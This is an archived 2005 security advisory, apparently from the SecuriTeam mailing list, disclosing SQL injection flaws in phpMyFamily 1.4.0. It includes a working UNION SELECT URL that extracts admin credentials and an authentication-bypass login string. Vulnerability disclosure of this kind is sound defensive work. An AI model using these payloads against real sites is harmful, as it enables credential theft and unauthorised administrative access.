From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 23 Mar 2005 19:34:17 +0200
Subject: [UNIX] phpMyFamily SQL Injection
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phpMyFamily SQL Injection
------------------------------------------------------------------------
SUMMARY
<> phpMyFamily is "a dynamic genealogy website builder which allows
geographically dispersed family members to maintain a central database of
research which is readily accessible and editable".
phpMyFamily has been found to contain an SQL injection that allow
attackers to read, change and delete information at the database.
DETAILS
Vulnerable Systems:
* phpMyFamily version 1.4.0
The script files people.php, track.php, edit.php, document.php,
census.php, assthru.php and other PHP files that come with phpMyFamily
have been found to contain SQL injection vulnerabilities.
The cause of SQL injection is the lack of variable filtering and the usage
of the variables inside SQL queries.
Proof of Concept:
http://[host]/[path]/people.php?person=00002' UNION SELECT NULL, password,
NULL, username, NULL, NULL,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL FROM family_users WHERE admin='Y' LIMIT 1,1
The above SQL code selects first the admin user and returns its with login
and password.
It is also possible to login as administrator without a password by using
the following as the login and password:
Login: ' OR 'a'='a' AND admin='Y'/*
Password: (empty)
ADDITIONAL INFORMATION
The information has been provided by <mailto:kre0n@mail.ru.> kre0n.
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